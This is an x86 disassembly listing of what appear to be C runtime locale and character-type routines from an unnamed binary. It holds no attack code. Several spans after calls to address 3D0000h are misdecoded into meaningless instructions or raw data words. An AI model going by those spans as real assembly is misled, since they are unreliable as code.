push 2
push 101h
call sub_41AE60
add esp, 10h
mov [ebp-2Ch], eax
push 62h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_41AE60
add esp, 10h
mov [ebp-28h], eax
cmp dword ptr [ebp-30h], 0
jz short loc_43197C
cmp dword ptr [ebp-1Ch], 0
jz short loc_43197C
cmp dword ptr [ebp-2Ch], 0
jz short loc_43197C
cmp dword ptr [ebp-28h], 0
jnz short loc_431981
loc_43197C: ; CODE XREF: seg000:00431968j
; seg000:0043196Ej ...
jmp loc_431BC2
; ---------------------------------------------------------------------------
loc_431981: ; CODE XREF: seg000:0043197Aj
mov ecx, [ebp-2Ch]
mov [ebp-18h], ecx
mov dword ptr [ebp-20h], 0
jmp short loc_431999
; ---------------------------------------------------------------------------
loc_431990: ; CODE XREF: seg000:004319B3j
mov edx, [ebp-20h]
add edx, 1
mov [ebp-20h], edx
loc_431999: ; CODE XREF: seg000:0043198Ej
cmp dword ptr [ebp-20h], 100h
jge short loc_4319B5
mov eax, [ebp-18h]
mov cl, [ebp-20h]
mov [eax], cl
mov edx, [ebp-18h]
add edx, 1
mov [ebp-18h], edx
jmp short loc_431990
; ---------------------------------------------------------------------------
loc_4319B5: ; CODE XREF: seg000:004319A0j
lea eax, [ebp-14h]
push eax
mov ecx, ds:dword_4EEA80
push ecx
call near ptr 3D0000h
sub al, [ebp-16FA8A40h]
rep add [eax], eax
add [ebx+7602EC7Dh], al
add eax, 1E8E9h
add [ebx-1D7E13ABh], cl
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
inc dword ptr [eax]
add [ecx+44FD2015h], cl
add [ebx+44FD203Dh], al
add [ecx], al
jle short loc_431A49
lea eax, [ebp-0Eh]
mov [ebp-18h], eax
jmp short loc_431A03
; ---------------------------------------------------------------------------
loc_4319FA: ; CODE XREF: seg000:loc_431A47j
mov ecx, [ebp-18h]
add ecx, 2
mov [ebp-18h], ecx
loc_431A03: ; CODE XREF: seg000:004319F8j
mov edx, [ebp-18h]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_431A49
mov ecx, [ebp-18h]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_431A49
mov eax, [ebp-18h]
xor ecx, ecx
mov cl, [eax]
mov [ebp-20h], ecx
jmp short loc_431A2F
; ---------------------------------------------------------------------------
loc_431A26: ; CODE XREF: seg000:00431A45j
mov edx, [ebp-20h]
add edx, 1
mov [ebp-20h], edx
loc_431A2F: ; CODE XREF: seg000:00431A24j
mov eax, [ebp-18h]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp-20h], ecx
jg short loc_431A47
mov edx, [ebp-2Ch]
add edx, [ebp-20h]
mov byte ptr [edx], 0
jmp short loc_431A26
; ---------------------------------------------------------------------------
loc_431A47: ; CODE XREF: seg000:00431A3Aj
jmp short loc_4319FA
; ---------------------------------------------------------------------------
loc_431A49: ; CODE XREF: seg000:004319F0j
; seg000:00431A0Cj ...
push 0
push 0
push 0
mov eax, [ebp-30h]
add eax, 2
push eax
push 100h
mov ecx, [ebp-2Ch]
push ecx
push 1
call loc_42E040
add esp, 1Ch
test eax, eax
jnz short loc_431A72
jmp loc_431BC2
; ---------------------------------------------------------------------------
loc_431A72: ; CODE XREF: seg000:00431A6Bj
mov edx, [ebp-30h]
mov word ptr [edx], 0
mov eax, [ebp-28h]
mov [ebp-24h], eax
mov dword ptr [ebp-20h], 0
jmp short loc_431A92
; ---------------------------------------------------------------------------
loc_431A89: ; CODE XREF: seg000:00431AAEj
mov ecx, [ebp-20h]
add ecx, 1
mov [ebp-20h], ecx
loc_431A92: ; CODE XREF: seg000:00431A87j
cmp dword ptr [ebp-20h], 100h
jge short loc_431AB0
mov edx, [ebp-24h]
mov ax, [ebp-20h]
mov [edx], ax
mov ecx, [ebp-24h]
add ecx, 2
mov [ebp-24h], ecx
jmp short loc_431A89
; ---------------------------------------------------------------------------
loc_431AB0: ; CODE XREF: seg000:00431A99j
push 0
push 0
mov edx, [ebp-1Ch]
add edx, 2
push edx
push 100h
mov eax, [ebp-28h]
push eax
push 1
call loc_435AD0
add esp, 18h
test eax, eax
jnz short loc_431AD7
jmp loc_431BC2
; ---------------------------------------------------------------------------
loc_431AD7: ; CODE XREF: seg000:00431AD0j
mov ecx, [ebp-1Ch]
mov word ptr [ecx], 0
cmp ds:dword_44FD20, 1
jle short loc_431B43
lea edx, [ebp-0Eh]
mov [ebp-18h], edx
jmp short loc_431AF9
; ---------------------------------------------------------------------------
loc_431AF0: ; CODE XREF: seg000:loc_431B41j
mov eax, [ebp-18h]
add eax, 2
mov [ebp-18h], eax
loc_431AF9: ; CODE XREF: seg000:00431AEEj
mov ecx, [ebp-18h]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_431B43
mov eax, [ebp-18h]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_431B43
mov edx, [ebp-18h]
xor eax, eax
mov al, [edx]
mov [ebp-20h], eax
jmp short loc_431B25
; ---------------------------------------------------------------------------
loc_431B1C: ; CODE XREF: seg000:00431B3Fj
mov ecx, [ebp-20h]
add ecx, 1
mov [ebp-20h], ecx
loc_431B25: ; CODE XREF: seg000:00431B1Aj
mov edx, [ebp-18h]
xor eax, eax
mov al, [edx+1]
cmp [ebp-20h], eax
jg short loc_431B41
mov ecx, [ebp-20h]
mov edx, [ebp-30h]
mov word ptr [edx+ecx*2+2], 8000h
jmp short loc_431B1C
; ---------------------------------------------------------------------------
loc_431B41: ; CODE XREF: seg000:00431B30j
jmp short loc_431AF0
; ---------------------------------------------------------------------------
loc_431B43: ; CODE XREF: seg000:00431AE6j
; seg000:00431B02j ...
mov eax, [ebp-30h]
add eax, 2
mov ds:off_44FE2C, eax
mov ecx, [ebp-1Ch]
add ecx, 2
mov ds:off_44FE30, ecx
cmp ds:dword_4EEC94, 0
jz short loc_431B74
push 2
mov edx, ds:dword_4EEC94
push edx
call sub_41B8F0
add esp, 8
loc_431B74: ; CODE XREF: seg000:00431B61j
mov eax, [ebp-30h]
mov ds:dword_4EEC94, eax
cmp ds:dword_4EEC98, 0
jz short loc_431B96
push 2
mov ecx, ds:dword_4EEC98
push ecx
call sub_41B8F0
add esp, 8
loc_431B96: ; CODE XREF: seg000:00431B83j
mov edx, [ebp-1Ch]
mov ds:dword_4EEC98, edx
push 2
mov eax, [ebp-2Ch]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp-28h]
push ecx
call sub_41B8F0
add esp, 8
xor eax, eax
jmp loc_431C4C
; ---------------------------------------------------------------------------
loc_431BC2: ; CODE XREF: seg000:004318FBj
; seg000:loc_43197Cj ...
push 2
mov edx, [ebp-30h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp-1Ch]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp-2Ch]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp-28h]
push edx
call sub_41B8F0
add esp, 8
mov eax, 1
jmp short loc_431C4C
; ---------------------------------------------------------------------------
loc_431C01: ; CODE XREF: seg000:004318CBj
mov ds:off_44FE2C, offset word_44FE36
mov ds:off_44FE30, offset word_44FE36
push 2
mov eax, ds:dword_4EEC94
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, ds:dword_4EEC98
push ecx
call sub_41B8F0
add esp, 8
mov ds:dword_4EEC94, 0
mov ds:dword_4EEC98, 0
xor eax, eax
loc_431C4C: ; CODE XREF: seg000:00431BBDj
; seg000:00431BFFj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431C50 proc near ; DATA XREF: seg002:00450544o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_431C50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431C60 proc near ; CODE XREF: seg000:0042AE5Ep
; sub_42B510+7Bp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_431C74: ; CODE XREF: sub_431C60+1Fj
mov al, [edx]
or al, al
jz short loc_431C81
inc edx
bts [esp+24h+var_24], eax
jmp short loc_431C74
; ---------------------------------------------------------------------------
loc_431C81: ; CODE XREF: sub_431C60+18j
mov esi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
nop
loc_431C88: ; CODE XREF: sub_431C60+34j
inc ecx
mov al, [esi]
or al, al
jz short loc_431C96
inc esi
bt [esp+24h+var_24], eax
jnb short loc_431C88
loc_431C96: ; CODE XREF: sub_431C60+2Dj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
sub_431C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431CA0 proc near ; CODE XREF: seg000:0042AD7Dp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_431CB4: ; CODE XREF: sub_431CA0+1Fj
mov al, [edx]
or al, al
jz short loc_431CC1
inc edx
bts [esp+24h+var_24], eax
jmp short loc_431CB4
; ---------------------------------------------------------------------------
loc_431CC1: ; CODE XREF: sub_431CA0+18j
mov esi, [ebp+arg_0]
loc_431CC4: ; CODE XREF: sub_431CA0+2Fj
mov al, [esi]
or al, al
jz short loc_431CD4
inc esi
bt [esp+24h+var_24], eax
jnb short loc_431CC4
lea eax, [esi-1]
loc_431CD4: ; CODE XREF: sub_431CA0+28j
add esp, 20h
pop esi
leave
retn
sub_431CA0 endp
; ---------------------------------------------------------------------------
align 10h
loc_431CE0: ; CODE XREF: sub_42B320+D3p
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_4EECE0, 0
jnz short loc_431D12
call sub_4327B0
test eax, eax
jz short loc_431D02
mov eax, ds:dword_4F1354
mov [ebp-8], eax
jmp short loc_431D09
; ---------------------------------------------------------------------------
loc_431D02: ; CODE XREF: seg000:00431CF6j
mov dword ptr [ebp-8], offset sub_432800
loc_431D09: ; CODE XREF: seg000:00431D00j
mov ecx, [ebp-8]
mov ds:dword_4EECE0, ecx
loc_431D12: ; CODE XREF: seg000:00431CEDj
cmp dword ptr [ebp+8], 0
jnz short loc_431D22
call loc_432600
jmp loc_431DEE
; ---------------------------------------------------------------------------
loc_431D22: ; CODE XREF: seg000:00431D16j
mov edx, [ebp+8]
mov ds:dword_4EECD0, edx
cmp ds:dword_4EECD0, 0
jz short loc_431D54
mov eax, ds:dword_4EECD0
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_431D54
push offset dword_4EECD0
push 40h
push offset off_450D50
call sub_431EE0
add esp, 0Ch
loc_431D54: ; CODE XREF: seg000:00431D32j
; seg000:00431D3Ej
mov edx, [ebp+8]
add edx, 40h
mov ds:dword_4EECD4, edx
cmp ds:dword_4EECD4, 0
jz short loc_431D89
mov eax, ds:dword_4EECD4
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_431D89
push offset dword_4EECD4
push 16h
push offset off_450C98
call sub_431EE0
add esp, 0Ch
loc_431D89: ; CODE XREF: seg000:00431D67j
; seg000:00431D73j
mov ds:dword_4EECD8, 0
cmp ds:dword_4EECD0, 0
jz short loc_431DCD
mov edx, ds:dword_4EECD0
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_431DCD
cmp ds:dword_4EECD4, 0
jz short loc_431DC6
mov ecx, ds:dword_4EECD4
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_431DC6
call sub_431F70
jmp short loc_431DCB
; ---------------------------------------------------------------------------
loc_431DC6: ; CODE XREF: seg000:00431DB0j
; seg000:00431DBDj
call sub_432360
loc_431DCB: ; CODE XREF: seg000:00431DC4j
jmp short loc_431DEE
; ---------------------------------------------------------------------------
loc_431DCD: ; CODE XREF: seg000:00431D9Aj
; seg000:00431DA7j
cmp ds:dword_4EECD4, 0
jz short loc_431DE9
mov eax, ds:dword_4EECD4
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_431DE9
call sub_432500
jmp short loc_431DEE
; ---------------------------------------------------------------------------
loc_431DE9: ; CODE XREF: seg000:00431DD4j
; seg000:00431DE0j
call loc_432600
loc_431DEE: ; CODE XREF: seg000:00431D1Dj
; seg000:loc_431DCBj ...
cmp ds:dword_4EECD8, 0
jnz short loc_431DFE
xor eax, eax
jmp loc_431EDC
; ---------------------------------------------------------------------------
loc_431DFE: ; CODE XREF: seg000:00431DF5j
mov edx, [ebp+8]
add edx, 80h
push edx
call sub_432630
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz short near ptr loc_431E27+5
mov eax, [ebp-4]
and eax, 0FFFFh
push eax
call near ptr 3D0000h
loc_431E27: ; CODE XREF: seg000:00431E17j
adc al, [ebp+330775C0h]
shr cl, 0A9h
; ---------------------------------------------------------------------------
dd 6A000000h, 0C00D8B01h, 51004EECh, 0F9E1BFE8h, 0C085D0FFh
dd 0C0330775h, 8FE9h, 0C7D8300h, 8B257400h, 0A1660C55h
dd 4EECC0h, 8B028966h, 8B660C4Dh, 4EECDC15h, 51896600h
dd 0C458B02h, 0FC4D8B66h, 4488966h, 107D83h, 406A5974h
dd 5210558Bh, 100168h, 0ECC0A100h, 0FF50004Eh, 4EECE015h
dd 75C08500h, 0EBC03304h, 8B406A3Fh, 0C183104Dh, 2685140h
dd 8B000010h, 4EECDC15h, 15FF5200h, 4EECE0h, 475C085h
dd 1CEBC033h, 458B0A6Ah, 800510h, 8B500000h, 0E851FC4Dh
dd 0FFFFAE6Ch, 0B80CC483h, 1
; ---------------------------------------------------------------------------
loc_431EDC: ; CODE XREF: seg000:00431DF9j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431EE0 proc near ; CODE XREF: seg000:00431D4Cp
; seg000:00431D81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 1
mov [ebp+var_C], 0
loc_431EF4: ; CODE XREF: sub_431EE0:loc_431F5Cj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jg short loc_431F5E
cmp [ebp+var_8], 0
jz short loc_431F5E
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*8]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
call sub_435D40
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_431F42
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*8+4]
mov eax, [ebp+arg_8]
mov [eax], edx
jmp short loc_431F5C
; ---------------------------------------------------------------------------
loc_431F42: ; CODE XREF: sub_431EE0+4Fj
cmp [ebp+var_8], 0
jge short loc_431F53
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_431F5C
; ---------------------------------------------------------------------------
loc_431F53: ; CODE XREF: sub_431EE0+66j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
loc_431F5C: ; CODE XREF: sub_431EE0+60j
; sub_431EE0+71j
jmp short loc_431EF4
; ---------------------------------------------------------------------------
loc_431F5E: ; CODE XREF: sub_431EE0+1Aj
; sub_431EE0+20j
mov esp, ebp
pop ebp
retn
sub_431EE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431F70 proc near ; CODE XREF: seg000:00431DBFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EECD0
push eax
call sub_41AC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4EECCC, ecx
mov edx, ds:dword_4EECD4
push edx
call sub_41AC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4EECC4, ecx
mov ds:dword_4EECC0, 0
cmp ds:dword_4EECCC, 0
jz short loc_431FC9
mov [ebp+var_4], 2
jmp short loc_431FDB
; ---------------------------------------------------------------------------
loc_431FC9: ; CODE XREF: sub_431F70+4Ej
mov edx, ds:dword_4EECD0
push edx
call sub_432A10
add esp, 4
mov [ebp+var_4], eax
loc_431FDB: ; CODE XREF: sub_431F70+57j
mov eax, [ebp+var_4]
mov ds:dword_4EECC8, eax
push 1
push offset sub_432030
call near ptr 3D0000h
pop es
mov ecx, ds:dword_4EECD8
and ecx, 100h
test ecx, ecx
jz short loc_43201C
mov edx, ds:dword_4EECD8
and edx, 200h
test edx, edx
jz short loc_43201C
mov eax, ds:dword_4EECD8
and eax, 7
test eax, eax
jnz short loc_432026
loc_43201C: ; CODE XREF: sub_431F70+8Ej
; sub_431F70+9Ej
mov ds:dword_4EECD8, 0
loc_432026: ; CODE XREF: sub_431F70+AAj
mov esp, ebp
pop ebp
retn
sub_431F70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432030 proc near ; DATA XREF: sub_431F70+75o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_432990
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECC4
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call ds:dword_4EECE0
test eax, eax
jnz short loc_432084
mov ds:dword_4EECD8, 0
mov eax, 1
jmp loc_43234E
; ---------------------------------------------------------------------------
loc_432084: ; CODE XREF: sub_432030+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECD4
push edx
call sub_435D40
add esp, 8
test eax, eax
jnz loc_4321BF
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4EECCC
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call ds:dword_4EECE0
test eax, eax
jnz short loc_4320DE
mov ds:dword_4EECD8, 0
mov eax, 1
jmp loc_43234E
; ---------------------------------------------------------------------------
loc_4320DE: ; CODE XREF: sub_432030+98j
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4EECD0
push ecx
call sub_435D40
add esp, 8
test eax, eax
jnz short loc_432120
mov edx, ds:dword_4EECD8
or edx, 304h
mov ds:dword_4EECD8, edx
mov eax, [ebp+var_7C]
mov ds:dword_4EECDC, eax
mov ecx, ds:dword_4EECDC
mov ds:dword_4EECC0, ecx
jmp loc_4321BF
; ---------------------------------------------------------------------------
loc_432120: ; CODE XREF: sub_432030+C3j
mov edx, ds:dword_4EECD8
and edx, 2
test edx, edx
jnz loc_4321BF
cmp ds:dword_4EECC8, 0
jz short loc_43218D
mov eax, ds:dword_4EECC8
push eax
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECD0
push edx
call sub_435E10
add esp, 0Ch
test eax, eax
jnz short loc_43218D
mov eax, ds:dword_4EECD8
or al, 2
mov ds:dword_4EECD8, eax
mov ecx, [ebp+var_7C]
mov ds:dword_4EECDC, ecx
mov edx, ds:dword_4EECD0
push edx
call sub_41AC70
add esp, 4
cmp eax, ds:dword_4EECC8
jnz short loc_43218B
mov eax, [ebp+var_7C]
mov ds:dword_4EECC0, eax
loc_43218B: ; CODE XREF: sub_432030+151j
jmp short loc_4321BF
; ---------------------------------------------------------------------------
loc_43218D: ; CODE XREF: sub_432030+108j
; sub_432030+125j
mov ecx, ds:dword_4EECD8
and ecx, 1
test ecx, ecx
jnz short loc_4321BF
mov edx, [ebp+var_7C]
push edx
call sub_4326D0
add esp, 4
test eax, eax
jz short loc_4321BF
mov eax, ds:dword_4EECD8
or al, 1
mov ds:dword_4EECD8, eax
mov ecx, [ebp+var_7C]
mov ds:dword_4EECDC, ecx
loc_4321BF: ; CODE XREF: sub_432030+69j
; sub_432030+EBj ...
mov edx, ds:dword_4EECD8
and edx, 300h
cmp edx, 300h
jz loc_432341
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4EECCC
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call ds:dword_4EECE0
test eax, eax
jnz short loc_432216
mov ds:dword_4EECD8, 0
mov eax, 1
jmp loc_43234E
; ---------------------------------------------------------------------------
loc_432216: ; CODE XREF: sub_432030+1D0j
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4EECD0
push ecx
call sub_435D40
add esp, 8
test eax, eax
jnz loc_4322E0
mov edx, ds:dword_4EECD8
or dh, 2
mov ds:dword_4EECD8, edx
cmp ds:dword_4EECCC, 0
jz short loc_43226A
mov eax, ds:dword_4EECD8
or ah, 1
mov ds:dword_4EECD8, eax
cmp ds:dword_4EECC0, 0
jnz short loc_432268
mov ecx, [ebp+var_7C]
mov ds:dword_4EECC0, ecx
loc_432268: ; CODE XREF: sub_432030+22Dj
jmp short loc_4322DE
; ---------------------------------------------------------------------------
loc_43226A: ; CODE XREF: sub_432030+217j
cmp ds:dword_4EECC8, 0
jz short loc_4322BF
mov edx, ds:dword_4EECD0
push edx
call sub_41AC70
add esp, 4
cmp eax, ds:dword_4EECC8
jnz short loc_4322BF
push 1
mov eax, [ebp+var_7C]
push eax
call sub_432720
add esp, 8
test eax, eax
jz short loc_4322BD
mov ecx, ds:dword_4EECD8
or ch, 1
mov ds:dword_4EECD8, ecx
cmp ds:dword_4EECC0, 0
jnz short loc_4322BD
mov edx, [ebp+var_7C]
mov ds:dword_4EECC0, edx
loc_4322BD: ; CODE XREF: sub_432030+26Aj
; sub_432030+282j
jmp short loc_4322DE
; ---------------------------------------------------------------------------
loc_4322BF: ; CODE XREF: sub_432030+241j
; sub_432030+258j
mov eax, ds:dword_4EECD8
or ah, 1
mov ds:dword_4EECD8, eax
cmp ds:dword_4EECC0, 0
jnz short loc_4322DE
mov ecx, [ebp+var_7C]
mov ds:dword_4EECC0, ecx
loc_4322DE: ; CODE XREF: sub_432030:loc_432268j
; sub_432030:loc_4322BDj ...
jmp short loc_432341
; ---------------------------------------------------------------------------
loc_4322E0: ; CODE XREF: sub_432030+1FBj
cmp ds:dword_4EECCC, 0
jnz short loc_432341
cmp ds:dword_4EECC8, 0
jz short loc_432341
mov edx, ds:dword_4EECC8
push edx
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4EECD0
push ecx
call sub_435E10
add esp, 0Ch
test eax, eax
jnz short loc_432341
push 0
mov edx, [ebp+var_7C]
push edx
call sub_432720
add esp, 8
test eax, eax
jz short loc_432341
mov eax, ds:dword_4EECD8
or ah, 1
mov ds:dword_4EECD8, eax
cmp ds:dword_4EECC0, 0
jnz short loc_432341
mov ecx, [ebp+var_7C]
mov ds:dword_4EECC0, ecx
loc_432341: ; CODE XREF: sub_432030+1A1j
; sub_432030:loc_4322DEj ...
mov eax, ds:dword_4EECD8
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_43234E: ; CODE XREF: sub_432030+4Fj
; sub_432030+A9j ...
mov esp, ebp
pop ebp
retn 4
sub_432030 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432360 proc near ; CODE XREF: seg000:loc_431DC6p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EECD0
push eax
call sub_41AC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4EECCC, ecx
cmp ds:dword_4EECCC, 0
jz short loc_432392
mov [ebp+var_4], 2
jmp short loc_4323A4
; ---------------------------------------------------------------------------
loc_432392: ; CODE XREF: sub_432360+27j
mov edx, ds:dword_4EECD0
push edx
call sub_432A10
add esp, 4
mov [ebp+var_4], eax
loc_4323A4: ; CODE XREF: sub_432360+30j
mov eax, [ebp+var_4]
mov ds:dword_4EECC8, eax
push 1
push offset sub_4323E0
call near ptr 3D0000h
call near ptr 0ED1B3148h
dec esi
add [ebx-367AFB1Fh], al
jnz short loc_4323D0
mov ds:dword_4EECD8, 0
loc_4323D0: ; CODE XREF: sub_432360+64j
mov esp, ebp
pop ebp
retn
sub_432360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4323E0 proc near ; DATA XREF: sub_432360+4Eo
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_432990
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECCC
neg edx
sbb edx, edx
and edx, 0FFFFF002h
add edx, 1001h
push edx
mov eax, [ebp+var_7C]
push eax
call ds:dword_4EECE0
test eax, eax
jnz short loc_432434
mov ds:dword_4EECD8, 0
mov eax, 1
jmp loc_4324F9
; ---------------------------------------------------------------------------
loc_432434: ; CODE XREF: sub_4323E0+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECD0
push edx
call sub_435D40
add esp, 8
test eax, eax
jnz short loc_432489
cmp ds:dword_4EECCC, 0
jnz short loc_432466
push 1
mov eax, [ebp+var_7C]
push eax
call sub_432720
add esp, 8
test eax, eax
jz short loc_432487
loc_432466: ; CODE XREF: sub_4323E0+72j
mov ecx, [ebp+var_7C]
mov ds:dword_4EECDC, ecx
mov edx, ds:dword_4EECDC
mov ds:dword_4EECC0, edx
mov eax, ds:dword_4EECD8
or al, 4
mov ds:dword_4EECD8, eax
loc_432487: ; CODE XREF: sub_4323E0+84j
jmp short loc_4324EC
; ---------------------------------------------------------------------------
loc_432489: ; CODE XREF: sub_4323E0+69j
cmp ds:dword_4EECCC, 0
jnz short loc_4324EC
cmp ds:dword_4EECC8, 0
jz short loc_4324EC
mov ecx, ds:dword_4EECC8
push ecx
lea edx, [ebp+var_78]
push edx
mov eax, ds:dword_4EECD0
push eax
call sub_435E10
add esp, 0Ch
test eax, eax
jnz short loc_4324EC
push 0
mov ecx, [ebp+var_7C]
push ecx
call sub_432720
add esp, 8
test eax, eax
jz short loc_4324EC
mov edx, [ebp+var_7C]
mov ds:dword_4EECDC, edx
mov eax, ds:dword_4EECDC
mov ds:dword_4EECC0, eax
mov ecx, ds:dword_4EECD8
or ecx, 4
mov ds:dword_4EECD8, ecx
loc_4324EC: ; CODE XREF: sub_4323E0:loc_432487j
; sub_4323E0+B0j ...
mov eax, ds:dword_4EECD8
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_4324F9: ; CODE XREF: sub_4323E0+4Fj
mov esp, ebp
pop ebp
retn 4
sub_4323E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432500 proc near ; CODE XREF: seg000:00431DE2p
push ebp
mov ebp, esp
mov eax, ds:dword_4EECD4
push eax
call sub_41AC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4EECC4, ecx
push 1
push offset sub_432550
call near ptr 3D0000h
movsd
mov edx, ds:dword_4EECD8
and edx, 4
test edx, edx
jnz short loc_432543
mov ds:dword_4EECD8, 0
loc_432543: ; CODE XREF: sub_432500+37j
pop ebp
retn
sub_432500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432550 proc near ; DATA XREF: sub_432500+21o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_432990
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECC4
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call ds:dword_4EECE0
test eax, eax
jnz short loc_4325A1
mov ds:dword_4EECD8, 0
mov eax, 1
jmp short loc_4325F6
; ---------------------------------------------------------------------------
loc_4325A1: ; CODE XREF: sub_432550+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4EECD4
push edx
call sub_435D40
add esp, 8
test eax, eax
jnz short loc_4325E9
mov eax, [ebp+var_7C]
push eax
call sub_4326D0
add esp, 4
test eax, eax
jz short loc_4325E9
mov ecx, [ebp+var_7C]
mov ds:dword_4EECDC, ecx
mov edx, ds:dword_4EECDC
mov ds:dword_4EECC0, edx
mov eax, ds:dword_4EECD8
or al, 4
mov ds:dword_4EECD8, eax
loc_4325E9: ; CODE XREF: sub_432550+66j
; sub_432550+76j
mov eax, ds:dword_4EECD8
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_4325F6: ; CODE XREF: sub_432550+4Fj
mov esp, ebp
pop ebp
retn 4
sub_432550 endp
; ---------------------------------------------------------------------------
align 10h
loc_432600: ; CODE XREF: seg000:00431D18p
; seg000:loc_431DE9p
push ebp
mov ebp, esp
mov eax, ds:dword_4EECD8
